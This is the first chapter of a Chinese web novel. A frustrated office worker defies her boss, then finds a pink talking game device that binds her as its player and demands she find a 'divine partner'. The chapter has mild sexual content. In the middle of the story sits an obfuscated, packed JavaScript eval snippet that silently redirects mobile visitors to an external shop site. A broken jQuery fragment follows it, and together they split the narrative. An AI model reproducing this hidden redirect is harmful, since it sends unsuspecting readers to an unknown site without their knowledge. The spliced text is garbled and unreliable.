1. 第1章
    “散会!”

    一场冗长又无趣的会议宣告结束,为了增加逃跑的速度,不少人早就倒数着时间提前往后拖开了椅子,一声令下,屁股先一步离开座位,飞似的倒着退出去。

    上司拧转着脖子,盯住后排坐着不动,和周围格格不入的女人。

    “柯莉,你过来下,我有事交代你。”

    柯莉闻声嘴快地“欸”了声,人却没动静。

    适宜人体温度的热空调吹得骨头发软,困意乏乏,柯莉撑着下巴愣神,手里握着一支笔杆无意识地刮动,双眸恍惚。

    晦涩的口感被那道笼住的黑影用舌尖渡给她,松软的气息跟着“他”的节奏在高低舞动。

    柯莉垂眼,想看清“他”的脸,双手掌住“他”头上那对幻化的犄角,还没握住,粗粝的乌黑短发一发不可收拾地向下耕耘……

    “柯莉!”和着一掌拍桌声,“啪。”

    幻想一刻幻灭,碎在了最关键的时刻。

    柯莉双肩微抖,这才回神。

    奇怪。

    最近怎么总是莫名其妙想到这种事情,对象还是个长相奇异的生物……

    柯莉困恼地揉摁太阳穴,等人散得差不多了,挪过去,“怎么了林总?”

    “你上一周不是去出差?回来肯定有不少材料要整理,你记得把财政的一块整合出来,拿给我审核。”这位林总若无其事地安排。

    柯莉面上不动,心里的算盘已转到四五里外。

    她分明记得,她就是一个入职了三年还是拿着初级工资的小喽啰,偶尔——

    啊不,隔三岔五就被小领导们领着出差,一三五Kris,二四六Bruce,不知道地还以为她点鸭子抓蛇呢,成天到晚嘶嘶嘶。怎么财政的活也落她头上了?

    嘴边默声叽叽歪歪开飞机似冲了他几炮尾气,脸上却不显露。

    柯莉抿唇,懒得拐弯抹角说:“林总,这块不是我负责。”

    林总挥手洋洋洒洒道:“那怎么了?都是差不多的事情,你就是帮着整理一下资料,年底了他们忙不过来,你多锻炼一下嘛,提高你的胆量是不是?”

    帮忙?给她加钱吗?

    锻炼自己?她都被他的挥之即来招之即去磨砺三年到形成条件反射了。

    胆量,她就是个打工她要个屁的胆量啊。

    “那先这么着,你抓紧时间。”林总见她不答,落下这一句就潇洒走人。

    “这件事也差不多,那件事也差不多,要不干脆都我来做得了?”柯莉对着他的背影,咬着舌尖,把不服的气咽下去,又做了几个深呼吸,心里的骂声像止不住的腹泻忽地无意识蹿出来,没好气地怼回去,“实在不行,您的位置,也让我坐?”

    “什么?”林总脸色皲裂,不可置信地看向她,“你不想干了是不是?敢这么跟我说话。”

    柯莉想到那份被压了又压的升职调动申请,的确不是很想干了,死气沉沉白他一眼,“哦,那你开除我啊。”

    *

    柯莉拖着沉重的步子走了七百米才到地铁口,电梯前已经排了条看不到头的队伍。

    布里市的旅游旺季悄然来临,她作为一个早八晚八的社畜,已然失去了感知周遭变化的敏觉。

    柯莉循到了队尾,一个老太太拉着老太爷插在她前面,她前脚还没压实,下一秒就收了回来。

    算了。

    走路或许更快。

    人大老远从五湖四海跑过来,你跟他们争个什么劲呢?他们想看的或许只有这几天的风景,而她对这座活了二十余年的城市早就看腻。

    退一线,留得他人美好永存。

    自我安慰着,柯莉心情好了不少。

    回想这三年,她从一开始充满昂扬斗志到平稳地行走在人人跟她吐露这喘不过气来的工作,最后身边的朋友一个接一个辞职,只有她还坚守在这个岗位。

    年少时总期许,当下的困境都会在未来站在成功的舞台上时,变成助力自身侃侃而谈、不假思索说出逗人开心的玩笑话的利器,殊不知走到曾经骐骥的那个未来里时,原来曾经的艰辛并不是消失了,而是建设堡垒似成了一座踩在脚底的牢固底盘,然新的坎坷,还在发生。

    一种由心而发,立刻起了反应的坠痛感堵在胸口。

    柯莉擦燃一只烟,迎风咬入口中。

    步入小吃街地带,她甩下手,烟在指尖燃得余留个小烟蒂,末尾的烟往下飘,风吹起来,和不远处缭绕的喷香热烟汇集,小推车紧挨着彼此,只要有人经过,都会传来激情的叫卖声。

    她兴致乏乏地扫了几眼,踏着漆黑的夜色,头顶白炽灯刺眼的光,在一辆冰淇淋车前停下。

    台面上支了个牌子,写着各类组合的口味。

    柯莉用眼睛横扫了几周,“哪个甜?老板推荐一下。”

    后台钻出个短发女生,声音和头发一样爽落,“今天卖完了。”

    柯莉站定不动,呆呆地看着她,像是没听懂对方的意思。

    女生挠了把后脑勺,善良地妥协,“哎,还剩点无花果味,能组半个球,你要吗?”

    “要!”柯莉双目一亮。

    她拉下门帘,递给柯莉一支巧克力皮,“喏,不要你钱,送你了。”

    “谢——”

    “啪。”

    柯莉的感谢还没说完整,帘子拉实,急切地阻断了两人的视线。

    哎,她怎么跟个要饭的似的。

    她张口吞入腹中,外壳瞬间见底。

    还真是半个。

    被碾磨成沙砾的冰霜在口腔里随牙齿的咬合咔擦跳舞,她沁到牙根也无动于衷。

    幸福、快乐和甜蜜的阈值被拉得太高,她很久没再感受过一点小事就能让她乐呵一整天的快感了。

    世界上有不少无聊人类,但无聊成她这个类型的属实无多。

    也不是没尝试过开发兴趣,多数都碾压在她横平竖直的脑筋下,以无法延伸开展而告终。

    说她笨,她就是不太会灵活思考问题,分给她做的事情她都能不负众望地圆满完成。到领导眼里,她成好拿捏的受气包了。

    柯莉把纸壳扔进垃圾桶,没劲地踢着脚下的石子。

    她到底是怎么活到如此地步的?

    双眼无力地低垂着,乌蒙的阴丧气包裹着她周身,邪剑仙如果现世,估计能在她身上吃个饱饭。

    视线中诧然滚入一个粉色的糊团,从台阶上一路跳下,铿铿砰砰停在她脚边,离垃圾桶就三十厘米的距离。

    柯莉环视了圈附近,台阶上方开着两三家便利店,大门紧闭,楼上的居民区只有稀稀拉拉几盏灯亮着。

    这玩意是从哪滚来的?

    柯莉垂头观察。

    是一柄粉色手握游戏机,和市面上流行的手机款不大一样,老式的眼罩形,中间有个电子屏幕,两侧几个五颜六色的小按键,肉眼分析很适合手持。

    原地站定几分钟,出于好奇,柯莉在“路边的东西不要随便乱捡”和“这又不是人民币,如果是垃圾她捡起来丢进垃圾桶是为民除害,如果是失物她捡起来确认岂不是好事一桩”两个观点里来回横跳后,毅然决然地蹲身捡了起来。

    游戏机上的一层薄膜都还没撕,一看就是拆了包装就掉出来的全新款。

    神奇的是,它从楼梯上摔下来,身上完好无损,一点划痕都没有。

    除了边角的保护膜有一点飞翘的痕迹,柯莉用指腹抹平褶皱,撕开一点,试图让原膜贴合得更紧。

    把弄间,耳边忽地响起一阵机械音,正中电子屏幕闪动,“恭喜玩家,绑定成功,请在三天内寻找到你的神搭档。”

    柯莉贴膜的手一抖,游戏机从掌心滑出去,“哐”的一声砸落在地。

    声音再起,“恭喜玩家,绑定成功,请在三天内寻找到你的神搭档。”

    柯莉的鸡皮疙瘩从后腿一路爬到颈后,她惊魂未定地看着身前那个反复重复同一句话的机子,好似回到了小时候点亮莲花蜡烛时重复唱生日快乐歌直至电池耗完的诡异后怕中。

    她松了口气,这台游戏机大概和莲花灯一样是个笨蛋发明。

    都触发了,又没有关闭的按钮,看来是个次抛。

    柯莉蹲膝捡起,嗤了句“神经”以抚平方才的惊吓,随即顺势将其丢进了垃圾桶里,装作什么都没发生继续往前走。

    到家近九点,她一如既往地完成洗漱等活动,才干干净净地爬上了床。

    电脑安稳地摆在她面前,活像个等待她翻牌宠幸的妃子。

    她长这么大,连思想叛逆都屈指可数。

    最近,她常常会产生连她自个都觉得奇怪的逆反心理。

    臂如此刻。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176538|150607||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    老板的指令,她非得像条被驯化好的狗一样得立即回应吗?老板的任务,她非得像从早耕到晚完全没有休息时间的黄牛一样得马上做完吗?

    况且,那本就不是她该干的事情。

    不做又怎么样?开除她吗?

    有本事给她升职加薪而不是压着她的升职申请视而不见。

    柯莉越想越气愤,温室之外,尽是猪狗不如的东西。

    她逆反地躺下,松散地摸向手机,腹诽了句还不如先让自己舒服,右手滑入裤腰,睡衣的领扣在活动中散开,折叠的大v领勾着两条挺秀的圆弧。

    兴味难平地摸索了阵,柯莉左手盲抓手机,指尖扣到了个冰冰凉凉的硬物,她奇异地举到眼前,瞳孔在看清之后霎时放大,“啊!见鬼了——”

    柯莉跳下床,被她甩出去的游戏机砸在墙上落下,伴随一声无感情的“哎哟好痛”。

    ??

    她是死了吗?

    这年头游戏机都会叫疼了?

    柯莉揉散发昏的两眼窝,抓住手柄,果断地走向窗边,拉开窗帘往后蓄力毫不犹豫地扔了出去,紧接着拉紧窗子上锁。

    一转头,那柄游戏机嚣张地立在她桌上,淡淡的粉色在顶光的暖色下反射着调色盘调和出来的温柔。

    邪门。

    她莫不是撞鬼了。

    柯莉生活在一个迷信的家庭,家里供奉着一位祖宗,每天都燃着香火,每逢大小节日除了要供奉家中这位,还得去庙里祈福。

    她脱离家庭独立后,从未延续过这个传统。她读小学时故意装疯卖傻被外婆认为是被鬼附身,还给她请人做了法事。

    自此,她从不像家人那般战战兢兢地对待上贡,也从没认为这世界上有什么鬼神。

    然而今日亲眼所见,不会是她这些年来戏弄此事的报应吧?

    柯莉的手停在半空,咬着下唇遥遥戳倒游戏机,手柄轻巧倒下。

    她踮着步子,用双手死死摁住游戏机,“老实点,别装神弄鬼啊。”

    “玩家,你要压死我了。”屏幕亮起,黑白线条兹拉闪动。

    “你到底是什么?”柯莉呲牙呵斥。

    小白屏上呈现正常的心跳频率波动,“你已经和我绑定成功了,现在你是我的主人,可以给我取一个名字。”

    “哦,你就是这么跟你主人问好的。”柯莉臭不要脸地爽快接下主人称号,反客为主训斥道。

    “呃,晚上好,主人。”

    “这还差不多。”柯莉心满意足地用指尖点点它,“你会正常说话,为什么之前一直重复。”

    小白屏上的线条起伏剧烈,“当时被主人摔宕机了,程序出现bug,我修复了很久。”

    柯莉努努嘴,转移话题,“你摸起来又润又滑,讲话还死机,那就叫你润吉吧。”

    “好的主人,我叫润吉吧。”

    “……”柯莉拍它脑袋一掌,“是润吉,不是润吉吧。”

    “润吉知道了。”

    柯莉拿起它,躺在床上瞎摁它身上的摁纽,“这还差不多,你说的搭档是什么意思?”

    润吉的声音依旧干巴巴,“我的游戏模式在于你找的搭档是谁,你需要找一个神搭档才可以开启游戏。”

    “神?搭档?”柯莉再次确认。

    “是的。”

    她长这么大神鬼之说听过不少,但她又不通灵,从哪找神去。

    心头涌上一股烦躁,手机滴滴作响,柯莉滑开,是林总给她发了好几条催促消息。

    她心火一瞬点燃,无名狂怒道:“不找会怎么样?”

    “人类的生命是靠源源不断鲜活的元气供应存活,现在主人的元气值跌破平均,如果不在规定时间内找到搭档,和他刷分补元气的话,”无情机械音又响,“会元气虚脱而亡哦。”

    呵呵。

    我信你个鬼。

    柯莉杠起双臂,憋气绷出肌肉。

    她除了心情差点,每年体检报告都是健康,什么元气不元气,她能和和气气地跟它说话就不错了。

    作为一个吃五谷杂粮的普通人,机能正常,吃饱喝暖,她要活到九十九好不好。

    还元气虚脱而亡。

    你亡,你全家都亡。

    柯莉找了块白布盖它身上,漠不关心地说:“你先安息吧。”